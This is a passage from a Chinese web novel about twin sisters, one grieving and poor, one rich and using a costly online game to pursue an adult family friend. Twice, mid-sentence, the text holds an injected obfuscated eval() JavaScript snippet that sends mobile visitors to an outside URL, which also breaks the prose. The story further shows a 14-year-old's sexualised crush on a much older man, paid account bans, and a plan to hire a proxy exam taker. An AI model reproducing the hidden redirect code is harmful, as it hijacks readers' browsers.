“你终于来了啊。桌上的成绩单看见了吗?我还想着你再不来,我就给你送家里去了,成绩单下来了,就要填志愿表了。还是去市一中吧?离家近,每周能回来看一看。虽然省七中更好,但太远了,一中更适合你。” 张情摇摇头,说:“我不读了。” 班主任愣在了原地。假期的学校非常空洞,盛夏里都是阴冷冷的,风吹过来,呼啸着冰凉的冷气。 班主任好半响才从她的话里回过神来,她拉着张情往办公室里走,让张情在她的椅子里坐下,自己拉来另一张椅子坐。 “张情,老师知道你家情况。老师也知道你比童年孩子更有思想更成熟,你应该懂,人类就是这样,生老病死是很正常的事情。外婆已经到了她该经历的年纪了。” “而你还小,你有自己的路要走。你才13岁,你的未来会很出色……” “对,我才13岁。”张情打断她的话,听老师这样讲出来,张情竟然前所未有的感到轻松,那压在心脏上的阴霾一下子就散干净了。 “别人13岁读初一、初二,我才13岁,我可以先停两年。两年后再考,不会比别人差的,我的未来不会被耽搁什么。” “老师,外婆是我最重要的人。哪怕我18岁才考高中,我的未来依旧会过成我想要的样子。” 老师没有为她的放弃而感慨,反而笑了笑,“你看,这就是你和别人不一样的地方。下学期还来吗?” 张情摇摇头,“不来了。等我要中考的时候再来。” 老师说:“去吧,学习别落下。平时可以来学校看看书,也可以上老师家里借书。老师家有很多书。” 张情跑回了家,邻居阿婆走了。外婆的眼睛哭干了,静静地躺在床上,双眼溢出浓浓的哀伤。 张情蹲在床边,抱住外婆的手,脑袋轻轻枕在上面。外婆的手干老而温暖,让她的心非常的安静。 她说,外婆,对不起,不是我不去考试,是市里读书和咱们镇上读书不一样,年纪卡得很严,市里7岁才能上小学,16岁上高中。我现在才13岁,没办法入学的。 “我问过老师了,老师说让我留级两年,后年去参加中考。” 外婆的眼睛动了动,带着疑惑落在她脸上,像是在她是真的吗。 张情用力点头,笑着说:“外婆忘啦,隔壁阿婆的孙子今年是16岁哦。” 外婆这才眯起眼笑了起来,使劲哆嗦着嘴,想说什么,却说不出来。 张情说:“我知道,外婆您放心吧。我一定好好学习,到时候还拿第一回来。第一名可好了,听说可以免学费!” 外婆的瞳孔带了光,神采奕奕。 …… 张情没去学校了。省了一笔学费。但外婆要吃药,有时候还要挂药水,药水很贵。存折上的钱像流水一样花出去。 张情有些恨自己,存折在外婆手上时,上面几乎没什么取款。每次取款都是她要交学费之类的。平时外婆都是往上面存钱。现在存折到她手里了,隔三差五就在取钱,余额越滚越小。 她不敢跟外婆说,把存折偷偷藏起来,趁外婆睡觉的时候去外面找活。她太小了,才13岁,没人要她。 没办法,她养了许多的鸡,种了许多的菜。外面的院子全种满了。每天吃种的菜,鸡养大了拿去卖,母鸡留着生蛋,再卖鸡蛋。 这一年,张情什么事也没干成。整日整日地守着外婆,或者养养鸡浇浇地。 14岁那年,她终于找了一份工作。网吧收银员。她干晚上,因为晚上没人查。这份工作还是她求来的,她也喜欢这份工作,晚上外婆在睡觉,她可以骗过去。 但晚上可不好熬,一会儿一会儿地打瞌睡,可晚上上网的人非常多。那时网吧刚兴起,挤满了人。一会儿一会儿有人来找她上机下机,或者充值,充Q\Q币,充游戏币。 睡也睡不好。张情开始学别人上网打游戏。她就纯打,不充钱的那种。不充钱的游戏不好打,还要被充钱玩家压。张情不希望,现实世界是一个钱压人的世界,游戏世界依旧是。 她讨厌这种。她认为这个世界就是不公平的,有人生下来就有很多钱,有人生下来拼尽全部的力量都没几个钱。 她以为游戏世界里至少有一点不同。 游戏换来换去都那样。张情对游戏不感兴趣了,开始到处逛论坛逛贴吧。 论坛和贴吧里什么都有,几乎全是她没见过的。那是她不认识的外面的世界,她开始痴迷其中,整晚整晚地刷帖子。 就这样过了两个月,外婆去世了。毫无征兆的。躺着躺着就睡着了。那时凌晨六点,张情下班回家,照例悄悄去看一看外婆。 外婆像往常一样躺着。她困了,看帖子太多,打了个哈欠,洗了个脸,擦了个身就爬到小房间的床上睡了过去。中午被闹钟叫醒,她揉着晕晕的脑袋去洗漱,路过堂屋时还叫了一声:“外婆,我们中午吃蔬菜肉粥吧。” 当她把米放进锅里,打热水端进里屋给外婆擦身体时,解开衣服,手摸到外婆的身体是凉的。非常凉。凉得心脏都停了。 眼泪不可控制的流了出来,张情还是懵的,甚至没反应过来,眼泪就流出来了。她摸着外婆冰冰凉凉的肚子,说这才十月初头呢,还没入秋呢,怎么这么冷,是不是昨晚没盖好被子。 外婆真不乖,您小时候叫我们睡觉要盖好肚子,别凉了肚子,您都不盖好…… 她拧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146716|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起热热的毛巾,将外婆从上到下,从里侧到外侧,轻轻地擦。一寸一寸地擦,每一寸都要擦得暖洋洋的。 擦到那双总是牵着她的手,总是喜欢摸她头的手,张情再也抑制不止,趴在身上哭了。 她恨自己,恨自己去上班,恨自己晚上不回家。以前她晚上都是和外婆一起睡的,自从去网吧上班后,怕被外婆发现,她告诉外婆自己要回小床去睡。 如果她不去上班,不去网吧,她就会一直一直和外婆睡在一起。 外婆走之前,是不是睁着眼睛到处找她却找不到人?是不是咿呀咿呀磨着牙叫过她而她听不见?外婆是不是带着失望走的? …… 外婆的葬礼办完了。存折的钱也全花完了。 张情跪在坟前,跪了整整一宿。坟前的白蜡烛烧尽了,秋天的夜晚很凉,和外婆的身体一样凉。 她不喜欢这样的凉,会让她想起外婆躺在床上的样子。轻飘飘的像一张纸,道士来抬的时候,只用几根绳子从后背穿过,牵起绳子两头就能将外婆平平整整地从床上抬起来,再稳稳放进棺材。 78岁的外婆是那样轻,比张情见过的从树上飘下来的落叶还轻。她不知道人为什么可以轻成这样,明明每天都有吃饭。 肯定是吃少了,没吃肉。 张情讨厌有钱人。他们大鱼大肉长得肥头大耳。 …… 网吧的老板找到张情家里,问她什么时候去上班。 每一个上夜班的人都嫌累,要白班和夜班轮流上才行。只有张情,从来只上夜班也不嫌累。尽管未成年,但网吧嘛,多的是未成年,还有比张情小的人在里面通宵呢。 张情当晚就跟着老板回去上晚班了。 她不打游戏,也不逛论坛了,带着一本书,去网吧看书。每一个人对他啧啧,很是嘲讽的笑声。 张情假装听不见,她要在这里继续上班才能拿到钱,才可以参加明年的中考,才有钱去读高中。 她要读高中,读大学,读研究生,读硕士、博士,赚许多钱,用不完的钱。 15岁的张情的目的是这样纯粹而渺小。 跨了年,就变了。那是大年初一的晚上,初一的网吧没什么人,老板本来说放假,张情说她可以守,但能不能多给她一些钱。老板答应了,给她包了一千的红包。 张情一个人在网吧,网吧里三三两两的人,都是常客,十几岁的青少年。 其中一个青少年突然“咦”了一声,很大声的那种,然后回头看了张情一眼。 张情也被他的叫声引起了注意,抬头看他。 青少年冲她招手,说你过来看,有个好东西。 张情狐疑地走过去。她经常听说网吧危险,但张情从来遇见过什么危险,唯一的危险就是总有人调戏她,说她长得漂亮,想要她的联系方式,问她可不可以做她男朋友。 那个青少年是和张情一个学校的——她曾经读的那个中学。算起来,张情还是他学姐。 青少年指着屏幕,摘掉耳机扔在键盘上,说:“你看像不像你。” 张情凑过头去看。那是一张他拍照,站在樱花树下,穿着粉绿色的长裙,一脸欢快的笑。那张脸,长得和张情一模一样,是照镜子一样的那种一模一样。只是她的眉尾骨下面一点眼皮之上有一粒小小的鲜红的痣。 张姣。 她比小时候更漂亮了,像城堡里走出来的公主。 身上的裙子很美,很精致,是公主量身定制的高贵裙子。 张情问他,这是什么。 青少年说,这是游戏里的富婆,可有钱了,现在挂榜一。你们长得真像。你不会是她远在他乡的姐姐妹妹之类的吧?咋差距就这么大,她那么有钱,你这么穷? 张情笑笑。拍得像而已。 张情回到前台,搜出那个游戏,进入论坛,点开那张照片。刚刚保存下来,帖子就被删掉了。 张情进入游戏,找到游戏的排行榜,看见了青少年所说的榜一。豪华的界面,点开的刹那,金黄盛开,能刺瞎人的眼睛。 那是张姣的游戏名片,豪华,奢侈。 张情也玩过这个游戏,完全的氪金,不充钱完全玩不动。所以她只玩了一会儿就退了。 但她的妹妹不一样,她的妹妹从0级玩到最高级99级,从默认皮肤玩到拥有皮肤999个,集全了商城所有的皮肤,充值的金钱让她的游戏账号成为游戏里的榜一。 这个游戏的排行榜,是按照每周的消费金额排的。消费得越多,排行越高。 她的妹妹,连占榜一六个月。 “好看吧?”那个青少年凑过头来,指着排行榜说,“这没个几百万上不去吧?我记得之前有个帖子说,排行榜十个,最后一名得一周花20万才上得去。” 听到后面,张情几乎快听不清他在说什么。 她只记得几个字,没几百万上不去,一周花20万才能拿到最后一名。 20万,那是张情从来没见过的数字。 多么的多,多到吓死人,但游戏里的人,随手一挥,一周就花掉几十万,来买这个上榜的名次。 而她的妹妹,连续霸占榜一半年,那得花多少钱啊?数学成绩总是满分的张情,第一次算不清一笔账。 43. 第 43 章 张情每天上班的第一件事就是登游戏,盯着妹妹的名片看。那闪闪发光的名片,比当年妈妈穿的高跟鞋还闪。 其实张情不太记得妈妈穿的是什么样的高跟鞋了,只知道很闪,是世界上最闪的东西,比太阳的光芒还闪。 论坛里出现一张帖子,楼主是钱多多的终极粉丝,标题@了张情的游戏名称,问她是不是变态狂,每天晚上十点到早晨六点专盯着钱多多看。对方放出钱多多名片的访客界面,访客第一名是张情。访客时长,在一周之内达到50小时。 楼下一片狂骂,说真变态,然后让楼主转告多多姐注意安全啊。对张情和钱多多的态度两极分化,因为张情的游戏是一个三无号,张姣的游戏是长达半年榜一的氪金玩家,楼主也是高级vip号。 张情扯扯嘴。她不仅盯着张姣的名片看,她还时常从名片上的定位追踪到张姣正在玩的游戏场景挂在观众席上看,看她玩游戏,看她在公共世界频道和人聊天。 聊得最多的是一个叫“我快乐我欢乐”的号,名字和显示在频道里的话都带着闪瞎眼的金色。偶尔还有一个叫“沉”的号,人如其名,半天只蹦几个字。 张姣喜欢在凌晨玩,凌晨的观众席没几个人,不像白天,全是不认识的人挂在观众席上对她喊话,叫富婆,叫妈咪,想和她拉关系,任何关系。公共聊天频道被陌生的人塞满了,她打出去的字没两秒就被吞没,所以她不喜欢白天玩游戏。 游戏好友欢乐让她切换到私人频道。张姣嫌麻烦,进场景就是公共频道,切换频道需要点两三下。她讨厌麻烦的操作。游戏账号都是欢乐卖给她的满级号。到现在为止,张姣都不会玩这个游戏,可她偏要玩,因为这个游戏里,有一个她喜欢的人。 那是她爸爸的好友的弟弟。有一年春节,妈妈没在家,爸爸带她去许叔家玩。许叔有一个儿子,比张姣小一岁,很皮。爸爸让张姣和他玩,张姣不喜欢他,偷溜跑上二楼。 二楼有一间房的门开着,她躲进去。直到听不见那个男孩的吵闹声,才从门后站出来。她站在房间中央,看见窗边的电脑亮着。 那是一张屏幕很大的电脑,五彩斑斓。她走过去,看见那是一个游戏,正挂着自动打怪。张姣很少玩游戏,玩的大多是女孩子喜欢的游戏。可这个游戏,张姣听说过,女孩子也会喜欢玩,因为画风很美。确实很美,但张姣不喜欢,操作太难,她不喜欢难的东西。 浴室的门开了。热乎乎的雾气先一步漫出来,张姣的脸顿时感到一股热气,朝那面转过头,然后,她就看见一个男人裸着上半身出来。手里的毛巾搭在头顶随意地擦了擦。他擦完拿下头巾才发现自己房间里多了个小女孩,当即愣了一下,而后把毛巾裹在肩膀上盖住胸膛,笑着问:“来过年的小孩?” 张姣没听清他在说什么,她只看见他的脸,非常的好看,刚洗完澡的缘故,白皙的皮肤晕出一些红润。嘴唇也红得发艳。湿润的头发乱糟糟地搭在额头,让他看起来非常的可口。 对,可口。 十四岁的张姣在那一刻,感到前所未有的渴。想喝水。同时,她也知道,自己喜欢上这个人了,像游戏里的那些一见钟情。她对这个不知道叫什么名字的男人一见钟情。 “怎么,没见过男人的胸膛啊。小小年纪,这么色。” 男人随手从衣柜里拽出一件衬衣,套到身上,随便扣了两颗纽扣。虽然穿衣服了,却仍旧漏了大半的胸膛。 张姣被他说得脸颊发红。 “我、我……” “结巴?” 张姣一下子笑了,“你个老男人成天就爱占小孩的便宜,该不会是有恋童癖吧?” 男人取裤子的手顿住,站在衣柜前,扭头很是诧异地看了张姣一眼,然后眼睛笑眯眯地眯起来。 那是一双漂亮的眼睛,褐色的,灯光之下像琥珀一样流光溢彩。 张姣真心觉得这个男人哪哪都好看,哪哪都合她口味。 张姣:“你叫什么名?” 男人说:“许沉。” 张姣皱眉:“许叔叔的儿子?” 男人一下子笑喷了,“——我哥他有那么老吗——哈哈,你最好别让我哥听见,小心他揍你。” 张姣呵呵:“是你长得太小。” 然后扭头走了。 “小吗?”男人拿出裤子,低头看了看自己结实有质感的身体,“哪里小了?” …… 那顿晚饭,张姣吃得忐忑不安又心情激动。她感觉自己进入了游戏世界,游戏里的女主遇见一见钟情的男生就是这样心跳加快,莫名脸红耳烫。烫得她干什么都有些恍惚。 张姣就是这样。那个叫许沉的男人坐在对面,捏着红酒杯左摇摇右摇摇,说这瓶酒不好喝。让他哥下回开瓶好的吧,大过年的拿这种次品酒,多埋汰,更何况还有那么可爱的小女孩呢。 他说到最后一句话,冲张姣抬抬下巴,一脸戏谑。 张姣登时红了脸。 许叔说:“你别逗阿姣。算起来,阿姣还得叫你声小叔,等会逗哭了,你嫂子不在家,可没人哄啊。” 许沉笑道:“喂两杯酒不就醉得睡着了,还需要哄?多大的人了。”他问她,尝一口? 张姣摇头,说不喝。 对方已经让佣人倒上了。 爸爸说你尝一口,度数不高,和果酒一样。 张姣尝了一口,有些甜,有些晕。脑袋晕乎乎的,看桌上的餐盘出现了重影。 她说,爸爸,头晕。 佣人端来一碗汤,喂她喝了。头就不晕了。 她重新拿回视线,就看见对面的许沉笑得张扬。张姣说,你是坏人。 爸爸笑着说,阿姣,他是你小叔,叫小叔。 张姣抿着嘴,不叫。 爸爸依旧笑着,宽大的手掌放在她的头顶,看起来像在摸她的头,实际上是很用力地按住她。 “阿姣。”他说出口的声音是那么的温和,充满溺爱。 但张姣清晰知道这是一种警告。张姣的嘴抿得死死的,盯着对面的许沉不情不愿叫了一声。 许沉笑得脸都快装不下他的笑了,“真好听,再叫一声。” 张姣瞪了他一眼,匆匆吃饭,只当没听见。 她才不想叫什么小叔。小叔小叔多难听。 吃完晚饭,许叔给她封了一个大红包,红包很薄,阿姣在回去的车上拆开看,是一张60万的支票。 她说给爸爸听。爸爸坐在前排的副驾,头也没回,说给你的你就拿着。 她问许沉为什么没给她包红包。 爸爸说,他还没结婚。 只有结了婚的人才会给小辈发红包。 张姣长长的“哦”了一声,说不清是因为没拿到而失落还是因为什么而窃喜。 爸爸说:“你以后不能那么没礼貌,要叫小叔,还有……” 他从后视镜看她,那双黑压压的眼睛毫无感情,饭桌上那个温和慈善喜欢笑着和她温声细语说话的爸爸不在了,只剩下一个面无表情的爸爸。面无表情的爸爸说,“以后别再反驳我,别让我说第二遍。” 这个家的规矩。妈妈和爸爸说的话,她只能听,不可以反驳。 张姣像往常一样,说:“知道了。” 爸爸说:“希望你这一次是真的知道了。” 车停在路边,爸爸推门下了车,让司机送她回去。 他上了另一辆车,扬长而去。 张姣回了别墅,第一件事就是摁开电脑下载了那个游戏。她用一整晚的时间摸清楚了游戏,但懒得玩。她还找到了许沉的账号,排行榜第一。金灿灿的像他人一样耀眼。 她在公共频道问有没有帮她升级,出钱。 很多人私她。她随手选了一个,说一天之内要满级。对方骂她神经病,然后将她拉黑了。她连续问了几十个,终于有一个告诉她,说开挂都没法一天之内练成满级号,不出一个小时就能被封。 张姣问他那需要多久。对方说,最快一个月。张姣说给你五十万。对方送了她一长串的问号。 张姣立刻往游戏里充了十万,送给对方。 对方叹了口气,说你这样很容易被骗的。张姣说没关系,我钱多。五十万不够,一百万。 对方说,不如这样吧,我有一个小号,还差几级满号,我今天练练,明天卖给你。 张姣问干净吗。对方说没建过任何关系,是他拿来练手的号。张姣说行。 第二天,张姣拿到了满级号,给对方转了五十万。对方说不用那么多,两万块钱就好,把钱退给她。张姣觉得他真是个好人,可是五十万对张姣而言真的是一个极小的数字。 她的爸爸喜欢在外人面前和她扮演父慈女孝。每年她的生日总要大办,父亲会当着所有人的面送她几百万。张姣十二岁,就拥有一辆鲜红色的法拉利,现在还停在院子里吃灰。 张姣想把游戏名称改成“姣”,许沉的游戏名称叫“沉”,正好配对。可这样太明显,特别此地无银三百两。她就改成钱多多。往游戏里充一百万、两百万,买完商城里的所有皮肤和道具,名片装扮得像许沉那样。 第二周,她成功将许沉挤到第二名,霸占排行榜第一名的位置。 她以为许沉那种人肯定气不过,会来找她,最次也是继续充钱超过她,到时候她再超过他然后去认识他。结果许沉完全无所谓,似乎谁是第一名,谁是第二名对他而言不重要,他仍旧玩游戏,从来没点开过她的名片——是的,张姣有事没事就点开名片看访客记录,在里面找许沉的名字。 可惜没有,一次都没有。访客被一堆不认识的陌生人挤满了,看得她眼花头疼。 她去找卖号的那个人,让他带她玩游戏。他们加了Q\Q。 那个人带她去打小怪,除了画面美丽,其余都不是张姣感兴趣的。打着打着就不想打了,她又让那个人带她去找许沉玩。 对方:“你找他干嘛?” 张姣:“上他。” 对方:“……” 对方:“我可不行。” 张姣从对面的嘴里得知,许沉是这个游戏的老玩家了,常年占据榜一,从来只跟长得漂亮的女人玩。 张姣:“你去买个女号,我给你出钱,找他。” 对方:“……有句话不知道该不该说。” 张姣:“?” 对方:“你真的好有病。” 张姣没有反驳,她就是有病,一见钟情自己的小叔,比她大十二岁的小叔,虽然没有血缘关系。 可能是对方无聊,也可能是张姣给的钱多,或者是对方很好奇张姣是个什么品种,竟然真的去买了一个女号,取名“我快乐我欢乐”。张姣给他的账号充钱,让他的名片变得金碧辉煌。 然后她俩去找许沉了,光明正大地找。 进入许沉所在的场景,欢乐还没说话,张姣直接冲许沉甩过去一句话,“扯个结婚证。” 说这个话的人很多,直接的委婉的,游戏里的大部分女生都想和许沉在游戏里结婚,许沉也结过几次,第一次是为了任务,后来觉得几个女生长得符合他审美,结完婚,没多久就觉得没意思,离了。 那句话很快被公共弹幕覆盖过去。 不知道许沉是看见了还是没看见了,公共频道全在说:“沉哥,榜一富婆找你扯证哈哈哈哈。” “我记得以前有人为了和沉哥结婚,冲了榜一,后来被扒出来是现实的鸡,卖身赚钱冲的,可恶心了。” “这个不会也是……” 欢乐立刻冲了上去,让他们别信口雌黄。张姣倒无所谓,越穷的人越嫉妒她的钱,越喜欢污蔑她。学校里也有这样的人,说她是老男人养的小三,不然怎么每天有司机接送,中午还有管家送饭。 张姣早习惯了。 许沉从来没说一句话,张姣私信他,依旧是一句话,结个婚。许沉说别闹。 所以,他是看见了。 张姣没再说了,只是日复一日地跟着他。他走到哪里,她跟到哪里,欢乐也跟到哪。许沉打怪,欢乐给治疗,治疗给到许沉身上,张姣这边给慢了一点,张姣就怪杀死。 杀死的次数太多了,许沉终于忍不住了,问她:“不会玩?” 张姣说:“会一点。” 许沉:“玩一个?” 张姣:“杀死一头怪需要多少钱?我充。” 许沉:“……” 许沉:“妹妹,好好读书吧。” 张姣:“毕业了。” 许沉:“小学毕业?” 张姣:“大学。” 欢乐在Q\Q上问她:……你到底几岁啊? 张姣:14 欢乐:…… 一时之间,他不知道该信哪边。 欢乐:你干嘛骗他? 张姣:不骗他不跟我玩。 许沉觉得这个妹妹有点傻,脑袋也有点问题,大概率是那种人傻钱多的人。 本来可以拉黑,出于一种同情心?他还是默认她跟在自己身边,每天到处杀怪。杀怪的成功率取决于傻妹妹死亡的次数。死的少一点,成功率高,死得多一点,一天都杀不了一头。 有时候可烦,但她带的那个治疗师挺好用的,许沉用起来很顺手。可再顺手也挡不过她一会儿死一会儿死,后来许沉很莫名其妙地当起了半个奶妈,和欢乐一起奶她,总算杀了一头大怪。许沉从来没觉得副本这么难刷,刷得人头疼、浑身疲惫。 有一段时间,许沉累到不想进游戏。 张姣蹲了好几天,没蹲到人。她就开始蹲爸爸回家,爸爸很忙,经常不回家,妈妈有时候不回家,回家的时候总是在半夜。一年里,张情见不到妈妈几次,虽然她知道妈妈一个月会回家25次。 许沉没上游戏的第四天,张姣终于蹲到爸爸了,她从沙发上跳过去,问:“爸爸,什么时候去许叔家玩?” 爸爸没说话。 她的爸爸就是这样,只有在外人面前才会给她好脸色,没人的时候经常不带搭理她的。可无所谓啊,张姣的目的又不是和爸爸交流,她只想知道许沉在干嘛。 张姣说:“许叔家的鹅肝好吃,我想吃了。你不去,我就让司机带我过去。” 爸爸这才开了口,说:“许叔出国了。” 张姣:“家里没人吗?许婶婶呢?” 爸爸:“出国了。” 张姣:“小叔呢?” 爸爸:“三亚。” 张姣失落。扭头回了房。接下来几天,张姣上游戏的兴致也不高了。欢乐问她怎么了。张姣说许沉没上线,不好玩。 欢乐顿了一瞬,才问游戏里的“沉”叫许沉?你们认识? 张姣说:“认识,不过他不知道我。” 欢乐:“暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162736|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恋?” 张姣也说不清算不算暗恋,14岁的张姣只知道自己喜欢许沉,就想每天跟着他。 …… 许沉是一个月后上线的,主动找到钱多多,不过身边带了个女的,不知道是上哪儿认识的。 张姣站在许沉和女的之间。欢乐站在旁边,明明是游戏里最漂亮的景点,却莫名感受到一股杀气。 许沉说,钱多多,这次我要去刷六星塔,你别跟。你的欢乐借我用用。 说完,就带着那女的跑了。 张姣终于知道他主动找自己是为了让欢乐去帮他。张姣点开Q\Q聊天框,给欢乐送了一句杀意满满的话过去,“100万,杀了那女的。” 欢乐:“……” 欢乐不是她的狗,当然没杀。许沉成功刷完了六星塔,每天跟着那个女的到处晃。 张姣问欢乐能不能杀了她,不能我找别人。 欢乐怕她真给别人砸100万,她这样傻大概率会被骗得倾家荡产。他认为14岁的孩子对金钱是没有概念的,指不定她用在游戏里的钱都是瞒着家人的。 欢乐说,我可以帮你挂了她的号,让她以后登不了。 两天后,许沉身边就没那个女的了。但是又出现了另一个女的。从那天起,每一个出现在许沉身边的女的总是会莫名其妙被封号。许沉也不在意,封一个找一个,再封再找。一个月,许沉的身边出现了一百多个女的。 欢乐累了,说你们到底要玩哪样,你不能有话找他直说? 张姣去找了许沉。张姣还没说话,许沉就说:“妹妹,你的敌意有点大哦。” 他知道,他全部知道。 张姣说:“你可以和我玩。” 许沉说他不和未成年玩。张姣说我成年了。许沉说开个视频?张姣下线了。 许沉也下线了。 …… 张姣十五岁生日,庆祝宴订在最豪华的天台酒店。许叔是爸爸最好朋友,每年张姣生日都会来,送上一份豪华大礼。 宴会上每个人都是张姣不认识的,是爸爸的生意伙伴、朋友,每一个人都带着厚礼,对张姣露出慈祥又礼貌的微笑,祝她生日快乐。 礼盒在宴会厅堆积成山。 张姣以为这一年会像以前的每一年那样枯燥、无聊,接受爸爸和妈妈装出来的深情,接受他们的慈眉善目,假意真情的祝福。 可宴会厅的门口,走进来一个男人。他染了一头铁锈红的头发,是那种很暗很暗的铁锈色,在阴影里几乎像极了黑发,但在光影里,美得像他手里的红酒,一下子夺走了张姣空洞的眼神。 张姣笑起来,跑过去,叫:“许沉。” 爸爸跟过来,手搭在她的肩膀,揽着她,骂她:“没大没小,叫小叔。”声音却充满了宠溺。 张姣努努嘴,扬起笑,叫:“小叔。” 许沉捏了捏她的脸。 张姣摊开手:“礼物。” 许沉说没有哦。 张姣撒娇,横着眉,嘟着脸,“不,我就要。你补给我。” 许沉说不补。 张姣说:“你这人怎么这样,小气死了。所有人都带礼物了,就你不带。” 许叔也走了过来,笑着问:“姣姣想要什么,改天叔叔买给你。” 张姣说:“叔叔的礼物已经送了,他没送,就让他自个儿送,别人替他送算什么。” 爸爸笑道:“爸爸也还没送呢,怎么不见你要。” 张姣说:“爸爸每年都送,我才不急呢。” 说话之间,许沉走了。张姣回过头,就看见他站在天台边,身前是漆黑的夜,没有星星。他穿着生青色的西装,阴霾盖下来,照得他异常落寞。 不知道为什么,张姣就看见了落寞。 她记忆里的许沉不是这样的。许沉是那种不着调的,什么都不放心上的,随意的,他不应该有心事。 张姣想过去,被爸爸揽住了,带她去见别的客人。张姣有一搭没一搭的跟着爸爸叫一个又一个的人,听别人的献媚,说什么千金长得真美,前途不可限量之类的假话。 终于轮到蛋糕上场了,十五层的大蛋糕被推上高台,爸爸和妈妈一左一右地牵着她上台,爸爸先致谢来的客人,然后又对妈妈致谢,谢谢她为家操持多年,最后对张姣说了许多的祝福语。妈妈笑得一脸温柔,摸着张姣的头。张姣扯了扯嘴,跟着笑。 服务员点亮蜡烛,妈妈声音温柔地让她许愿。灯光骤灭,张姣闭上眼睛前看见天台边的许沉转过身,靠着天台栏杆看向了她,那双琥珀色的瞳孔很深邃,藏满了心事的那种深邃。张姣闭上眼睛时有些怀疑自己看错了,也许是灯灭的缘故让他的眼睛没了光。 张姣许愿,她希望许沉快乐。 她的心很小,只装得下这个小小的愿望,她甚至不敢再许一个,生怕许愿神实现另一个去了。 吹灭蜡烛,灯光燃起来。许沉背对着她,没看她。 不过张姣的心情很好,她许了关于许沉的愿。 妈妈的礼物被服务员送了上来,是一条漂亮的公主裙。粉色的。妈妈说,这是全球最出名的设计师设计的,花费了一年的功夫,希望她喜欢。张姣笑着亲了亲妈妈的脸。 爸爸说:“姣姣,爸爸今年不送你什么,依旧只给你五百万。但如果明年中考考到前三名,无论你想要什么,爸爸都会替你实现。” 张姣心说如果我想要许沉呢?嘴上却说:“谢谢爸爸,爸爸您真好。” 她亲亲爸爸的脸,说:“那我得好好想一想,一定要爸爸一个大的。” “贪心猫。”爸爸在笑,妈妈在笑,宾客们全在笑。 只有许沉没笑。 蛋糕分下去。爸爸和妈妈去和他们尊贵的客人聊天去了,没人管她了。 她端着红酒,去找许沉。 许沉看了她一眼,笑起来:“小屁孩学会喝红酒了?” 是的,去年年后,张姣回家后,学会了喝红酒。因为他喜欢。 张姣说:“今天不喝红酒喝什么。” 许沉问她上学期考了多少分。 张姣说608分。许沉诧异:“成绩这么好?” 张姣:“瞧不起谁?” 别说,还真不用瞧得起她。哪怕她的试卷空着,老师也能给她打600分。因为张泰宏的女儿不能在780分的总分里考100分。这是不允许的事。 张泰宏,这个年代最富裕的资本家之一。 可张姣没生一副好脑子,尽管家里有私教,她的成绩滚来滚去仍旧只有那么一点点分,说出去能笑掉大牙的分。 张姣也不爱学习。 许沉说:“这样吧,明年中考,你能考600分以上。我补一份礼物给你吧。” 张姣说:“那明年我16岁的礼物你可得准备。” 许沉终于笑了:“一言为定。” 张姣真喜欢他笑,像夜空的星星,落寞又美丽。 这一晚,张姣登上游戏,发现许沉也在线,一个人坐在草丛里。张姣走过去,问他挂机还是真人。 许沉说:“完全的人。” 张姣在他旁边坐下来。 许沉说:“你就这么喜欢我?” 张姣说:“对啊。” 许沉问:“喜欢什么?” 张姣脱口而出,漂亮。 许沉笑了。 44. 第 44 章 中考前三个月的模拟考试,小城市的满分是760分,张情考了752分。大城市的满分是630分,张姣考了127分,老师给她打了一个漂亮的599分。 张姣光脚踩在沙发上,手里拿着两张成绩单,看这栋空旷的别墅。凌晨一点,爸爸没回来,妈妈也没回来。前些天,她听佣人讲私话,妈妈又找了个新对象,所以这些天不回家。 她拿起手里的成绩单,一张是127分,一张是599分。599分那张是老师在班级里发下来的。127分那张是她去办公室找老师要的,最开始老师不给,一口咬定她就是考了599分,张姣一笑,老师就给了,还让她别传出去,不然工作不保。 张姣来来回回看,她其实想给爸爸看的,也想给妈妈看,随便一个谁都行,她想给别人看。 不知道为什么,就是想。 凌晨两点,还是没人回家。妈妈平常会回家,回得晚,两点之前是一定到的,今晚没回来,应该真找新男朋友去了。 张姣兴致缺缺地从沙发背跳到地上,踩进了房间。电脑的聊天信息滴滴响。她把成绩单团吧团吧扔进抽屉,点开信息。 欢乐说许沉上线了,你怎么没来。睡着了? 张姣立刻爬上游戏。一进去就看见许沉和一个女的站在樱花树下,风吹过,樱花满天飞,将游戏里的两个人衬得浪漫至极。 张姣忽然想和许沉去看樱花,去日本看樱花。她是行动派,当即打了许沉的电话——在那场生日宴会的最后,她朝许沉要的,说怕他明年耍赖。 响了两三声就接起来了,许沉的声音慢悠悠从听筒对面传来:“小妹妹,这么晚不睡觉干嘛呀?” 张姣说,带我去看樱花。 许沉沉默了,手握着鼠标,盯着屏幕上的樱花树,还有树下的三个人。一个男人,两个女人。 游戏场景做得非常漂亮,清风拂过樱花树,吹落一偏粉嫩的花瓣,落在三人身上,飘向远方。 张姣说:“怎么,小叔买不起机票呀,买不起说呀,我给你买。” 许沉轻笑:“等你考完再说。” 考完再说。大人的这种话就是一种拒绝,张姣听太多了。 她摁断电话,狠狠盯着屏幕,然后她翻出欢乐的聊天框,问他你身份证上的性别是男的女的?你成绩怎么样? 欢乐一头问号,还是老老实实回:男,不好。 张姣:你想办法找个人帮我代考。 欢乐:???? 